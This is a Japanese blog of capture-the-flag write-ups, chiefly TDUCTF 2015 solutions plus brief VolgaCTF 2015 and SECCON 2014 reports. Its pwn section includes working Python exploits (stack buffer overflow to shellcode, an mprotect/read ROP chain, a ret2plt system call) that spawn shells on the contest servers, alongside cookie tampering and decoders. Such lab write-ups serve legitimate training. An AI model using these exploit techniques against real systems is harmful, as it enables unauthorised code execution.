'\u0054\u0044\u0055\u007b\u0045\u006c\u0065\u0063\u0074\u0072\u006f\u006e\u005f\u0043\u0054\u0046\u005f\u0046\u0072\u006f\u006e\u0074\u0065\u006e\u0064\u005f\u0069\u0073\u005f\u0043\u006f\u006f\u006c\u005f\u0079\u0061\u003f\u007d'

flag: TDU{Electron_CTF_Frontend_is_Cool_ya?}

/dev/null (Binary 250)

solves: 5

1
2
3
Usage: ./devnull > /dev/null
https://score.sakura.tductf.org/files/12/devnull

ELF 64-bit LSB executable
linux環境でusage通りに./devnull > /dev/nullを動かすと何も表示せずに終了する.
/dev/fd/1などに吐かせようとしても怒られるのでstraceしたらflagが出た.

1
2
3
4
5
6
7
8
9
master@ubuntu:~/CTF/TDUCTF/2015B/bin/dev_null$ strace ./devnull > /dev/null
execve("./devnull", ["./devnull"], [/* 19 vars */]) = 0
brk(0) = 0x6e7000
fcntl(0, F_GETFD) = 0
...
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7962d9b000
write(1, "TDU{/dev/null_redirection}\n", 27) = 27
exit_group(0) = ?
+++ exited with 0 +++

flag: TDU{/dev/null_redirection}

moneyscript (Misc 400)

solves: 8

1
6a1d5444557b426974636f696e21426974636f696e21426974636f696e217d

何も考えずにhexdecodeしたらjTDU{Bitcoin!Bitcoin!Bitcoin!}が出てきた.
なんだこれ

flag: TDU{Bitcoin!Bitcoin!Bitcoin!}

TDUCTF運営からフラグを盗め (Network 400)

solves: 17

1
2
3
4
こたまご氏がのむけん氏に送ったメールが盗聴できた。やったね!
by @chibiegg
https://score.sakura.tductf.org/files/6/dump.pcap

部分点(25%)しか取れてないです.

SMTPのパケットが並んでいる.メール本文/添付ファイルをstringsから抽出しようとして時間を無駄にしてしまったが,NetworkMinerにかければ一発だった(ファイルの抽出機能はない?).

iso-2022-jpな部分はnkfに食わせれば自動でconvertしてくれる.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
193s@mbp193s:~/CTF/TDUCTF/2015B/nw/TDU運営からフラグを$ nkf < g
...
のむけんさん
お疲れ様です、こたまごです。
さきほどのファイルのパスワードをお送りいたします。
umHA7QEJwgCbkKh (半角にしてください)
...
> 先日相談した暗号の問題ですが、できたのでスコアサーバに答えを登録しておい
> ていただけますか。
>
> 添付ファイルにして送付します。
> パスワードは別途お送りいたします。
>
...

ということなので抽出したflag.zipにパスワードとしてumHA7QEJwgCbkKhを与えたらflag.txt, chibiegg.jpgを吐いてくれた.
これで部分点100点獲得.

もう1つchibiegg.jpg, flag.txt, flag2.txtの3つのファイルが入ったzipがあったので,既に入手したflag.txtとchibiegg.jpgを使ってpkcrackでknown-plaintext attackを試みたがダメだった(謎).

flag1: TDU{I_KNOW_CREAR_TEXT_IS_NOT_SECURE}

Lie (Web 100)

solves: 53

1
2
プロになりたい
http://lie.sakura.tductf.org/

よく覚えていないが,普通にGETを飛ばすとSet-CookieでisPro=Falseみたいなのが降ってきたのでこれをTrueに書き換えるとFlagが出た.

flag: (紛失)

14:50 (Misc 200)

solves: 61

1
14:50 になにかが起きる!

部分点(50%)だけです.
14:50になると突然クライアントアプリで一斉に某社の動画が流れ始めた.何も考えずに閉じてしまったがこれを見ているとFlagが流れてくるらしい.
数時間後また動画が流れてくることになったので今度はよく見ていたらflagが取れたのでそのまま閉じてsubmitしに行ったが,これが部分点50%分のflagだったということに気がついてしまいつらい気持ちになった.

flag1: (紛失)

She’ll code it after school today. (Pwn 250)

solves: 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|><|~|><|
/(((9)))\
//) -_- (\\ ______________________________________________
(((( ._. )))) / \
))))---(((( < I enjoy coding after school everyday <3 |
((((`---')))) \______________________________________________/
(___|xXxXx|___)
\ | | /
/ ^ ^ ^ \
/ \
(_._._._._._)
\ | /
( | )
| | |
hjw |-|-|
/`-^-'\
(__,^.__)
(http://ascii.co.uk/art/girl)
// But she's not so good at the secure coding...
nc crackme.sakura.tductf.org 47806
https://score.sakura.tductf.org/files/20/program

ELF 32-bit LSB executable

ncで繋いで10秒ほど待っているとソースコードのURLが落ちてくる.

1
2
...
(Hint: aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vaGhjMG51bGwvYTE1YzdlZDUxMDczNzk1N2RiODY=)

https://gist.github.com/hhc0null/a15c7ed510737957db86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// I want you to be known globally!
char your_introduction[0x100];
int main()
{
FILE *fp = NULL;
char message[30];
puts("My name is Catherine:)");
puts("About me:");
if((fp = fopen("my_introduction.txt", "r")) == NULL) {
perror("Oops...");
exit(EXIT_FAILURE);
}
fgets(message, 30, fp);
puts(message);
fclose(fp);
puts("Please tell me about you:");
fgets(your_introduction, 0x100, stdin);
puts("Please leave your message:");
fgets(message, 0x30, stdin);
puts("Thank you~ <3");
sleep(30);
puts("(Hint: aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vaGhjMG51bGwvYTE1YzdlZDUxMDczNzk1N2RiODY=)");
return 0;
}

2回目のfgetsでbuffer overflowの脆弱性がある.
NX disabledなのでyour_introduction(固定アドレス)に自身のアドレス+shellcodeを突っ込んで,bofからespをyour_introductionに向けることでshellcodeを実行するという感じの方針でexploitを書いた.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
exec ebil('./program', remote=('crackme.sakura.tductf.org', 47806))
addr_message = 0x8049aa0
shellcode = asm(shellcraft.sh())
def popn(n):
addr_pop3 = 0x08048749 # pop esi ; pop edi ; pop ebp ; ret ; (1 found)
assert n <= 3
ret = addr_pop3+3-n
return ret
print r.recvuntil('Please tell me about you:\n')
payload = p(addr_message+4) + shellcode
assert not '\n' in payload
send(payload + '\n')
log.success('addr_message = ' + hex(addr_message))
print r.recvuntil('message:\n')
payload = 'a'*38
payload += chain([
addr_message + 4, # ecx -- ecx-4 => esp
])
assert not '\n' in payload
send(payload+'\n', 0x30)
print r.recvuntil('=)\n')
interact()

flag: (紛失)

In a new stage! (Pwn 180)

solves: 5

1
2
3
4
5
Congratz!
Now, you are in a new stage!
nc crackme.sakura.tductf.org 10195
https://score.sakura.tductf.org/files/19/ins

やるだけ.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
exec ebil('./ins', remote=('crackme.sakura.tductf.org', 10195))
shellcode = asm(shellcraft.sh())
def pop_n(n):
pop3ret = 0x080485d9 # pop esi ; pop edi ; pop ebp ; ret ; (1 found)
return pop3ret + 3 - n
print r.recvuntil(': ')
payload = 'a'*16
map_base = 0x8049000
payload += chain([
elf.symbols['mprotect'], pop_n(3), map_base, 1000, 7,
elf.symbols['read'], pop_n(1), 0, map_base, 2048,
])
send(payload, 56)
send(shellcode, 2048)
interact()

flag: (紛失)

ret2libc for newbie. (Pwn 120)

solves: 5

1
2
3
4
just ret2libc it!
nc crackme.sakura.tductf.org 10170
https://score.sakura.tductf.org/files/18/r2lfn

やるだけ.ret2pltじゃん

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
exec ebil('./r2lfn', remote=('crackme.sakura.tductf.org', 10170))
addr_ret = 0x080483ae # ret ; (14 found)
payload = p(addr_ret)*10
payload += chain([
elf.plt['system'], 0xdeadbeef, 0x80486ad,
])
send(payload, 256)
interact()

flag: (紛失)

String Encoder no.1 (Binary 200)

solves: 3

1
2
3
4
ファイトだよっ!!
https://score.sakura.tductf.org/files/26/no1
https://score.sakura.tductf.org/files/30/file

エンコーダ(PE32 executable)とエンコードされたflag.
適当にバイナリを読むと各文字に対して+0x14しているだけだったのでpythonでデコーダを書いて動かした.

1
2
3
4
5
6
7
#!/usr/bin/env python
from sys import stdout
enc = open('file', 'r').read()
for c in enc:
stdout.write(chr(ord(c)-0x14 & 0xff))
1
2
3
193s@mbp193s:~/CTF/TDUCTF/2015B/bin/String_Encoder/1$ ./solve.py
TDU{Welcome_to_TDUCTF's_string_encoder!}h���������������a�`�
������������������ ��e��`����%

flag: TDU{Welcome_to_TDUCTF's_string_encoder!}

String Encoder no.3 (Binary 300)

solves: 1

1
2
3
4
ファイトだよっ!!
https://score.sakura.tductf.org/files/28/no3
https://score.sakura.tductf.org/files/31/file

結局自分しか解かなかったっぽい.
各文字cについてc = i + (i^c)という置換をしているだけなので,適当にデコーダを書いておわり.

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
from sys import stdout
enc = open('file', 'r').read()
def decode(c, i): return (c - i) ^ i
flag = ''
for i in xrange(100):
flag += chr(decode(ord(enc[i]), i) & 0xff)
print flag
1
2
193s@mbp193s:~/CTF/TDUCTF/2015B/bin/String_Encoder/3$ ./solve.py
TDU{addCounter!xorCounter!}h������th�u�t� �<���$0�(0�,040�y̖t

flag: TDU{addCounter!xorCounter!}

SQL Practice (Web 300)

solves: 26

1
2
Let's SQLing?
http://sqlpractice.sakura.tductf.org/

ほとんど覚えていないが,@nomukenのツイートがDB化されてそこに対して任意のクエリが発行できるという問題.
何も考えずにSELECT 忘れた FROM 忘れた WHERE 忘れた LIKE '%TDU{%'みたいなクエリを投げたらflagが降ってきた.
first solveありがとうございました

flag: (紛失)

nullflood (Misc 100)

solves: 38

1
2
3
so meny zeros
https://score.sakura.tductf.org/files/23/zeros

何も考えずに標準出力に流したらflagが出てきてア

1
2
193s@mbp193s:~/CTF/TDUCTF/2015B/misc/nullflood$ cat zeros
TDU{Strings_is_useful}

hexdumpしてみるとわかるが,0x00が大量に入っていてstringsでは抽出できないよねみたいな問題らしい.

flag: TDU{Strings_is_useful}

cheap camouflage (Misc 100)

solves: 18

1
2
3
Portable Network Graphics
https://score.sakura.tductf.org/files/33/image.png


pngpongと書かれたpng.vimでバイナリを眺めているとIENDの後にPKという文字列が見えたのでpngの末尾にzipファイルが付いているということがわかる.
適当に分離してunzipしようとするとpasswordを求められるので,画像の”pngpong”を入れてやると無事復号できる.

1
2
3
4
193s@mbp193s:~/CTF/TDUCTF/2015B/misc/cheap_camo$ unzip a
Archive: a
[a] flag.txt password: pngpong
extracting: flag.txt

flag: TDU{a_file_followed_the_png}

まとめ

  • 個人戦はつらい
  • スコアサーバーがすごかった
  • 最高に楽しかったです,運営各位本当にありがとうございました
  • 次回の開催も期待してます :)

VolgaCTF 2015 Quals Write-up

scryptosです.結果は1800pts 61位でした.

自分はlcg, math problem, carry, find him, homeworkを解いて1250pts入れました.

350pts -> @elliptic_shiho
eshiho’s Blog — VolgaCTF 2015 Quals Writeup [http://shiho-elliptic.tumblr.com/post/118172771134/volgactf-2015-quals-writeup]

lcg (crypto 100)

線形合同法.flag.png.binから先頭8バイトにpngのsignatureが入ることがわかるのでやるだけ.

{linear_congruential_generator_isn't_good_for_crypto}

math problem (ppc 300)

クソコードを書いて総当たりした.

Carry (crypto 500)

@elliptic_shihoと真面目に解いていたらkeyの先頭4文字が計算できた.
keyは8文字のalphanumeric(多分)で後は4文字特定するだけなのでブルートフォーサを書いて動かしていたところ,
計算したkeyの先頭4文字がsanityのコード内のkeyの先頭と一致していることに気がついた.
これで復号できたら最悪だよねみたいな話をしながら復号を試みたらFlagが出た.

{Approximate_and_synthesize}

Find Him (recon 250)

やるだけ.

homework (joy 100)


やるだけ.

1
2
3
4
5
6
7
8
9
10
11
It was night, in the lonesome October
Of my most immemorial year:
It was hard by the dim lake of Auber,
In the misty mid region of Weir-
It was down by the dank tarn of Auber,
In the ghoul-haunted woodland of Weir.
Here once, through an alley Titanic,
Of cypress, I roamed with my Soul-
flag is:
of_cypress_with_psyche_my_soul

stegano/ppcがクソ多くてつらいCTFだった.

SECCON CTF 2014本戦に参加した

SECCON CTF 2014 Finalsにチームscryptos(@_193s, @a_r_g_v, @kosk_d, @tatarhy)として参加しました.
結果は313点で見事24チーム中24位でした.つらい.

競技開始前

競技開始 - 13:30

問題は壱〜六の6問で,自分がメインで関わっていた弐と六についてwrite-upを書きます.

弐 - 問題2

キャプチャ認証付きの掲示板.
最新の10投稿だけ残って,5分毎にDefense Keywordが書き込まれているチームにDPが入る.

初King of The Hillで完全に出遅れた.

DP

単純に自分のチームのキーワードを書き込めば良いことに気が付いて,しばらく手動で書き込み続けていたら13pt入った.
途中から手動で書き込むのを諦めて自動化しようと試みたが,キャプチャ解読のコードが書けなかった.
手動で得点出来るうちにDP稼いでおけばよかった…

AP

Mr.Takedaがかなり早い段階でAPを取っていたので案外単純な問題なのでは,と思って無限に時間を溶かしていた.
ランキング(5分間に投稿された回数が多い順に並んでいる)で1位を取るとフラグが取れてキャプチャのパラメータを調整できたらしい…..

六 - 問題6

問題の説明は省略します.

AP

1日目の後半に6でAPが楽に稼げることにチームの誰かが気が付いて,300pt確保.

DP

提出用のスクリプトを書いていましたが,結局まともなコードが書けずに1日目終了.完全に頭が回ってなかった.
2日目は徹夜で用意してきたコードを投下しようと思ったらトップが30bytes台になっていたので頭が真っ白になりました.


以上です.DPで1点も稼げなかったのでとてもつらい…..

感想

2日目は1点も得点出来ずにバンバン抜かれて,知らないうちにビリになっていました(帰宅中に気が付いた).
なぜか入賞したけどビリだったのでもうダメです.さようなら.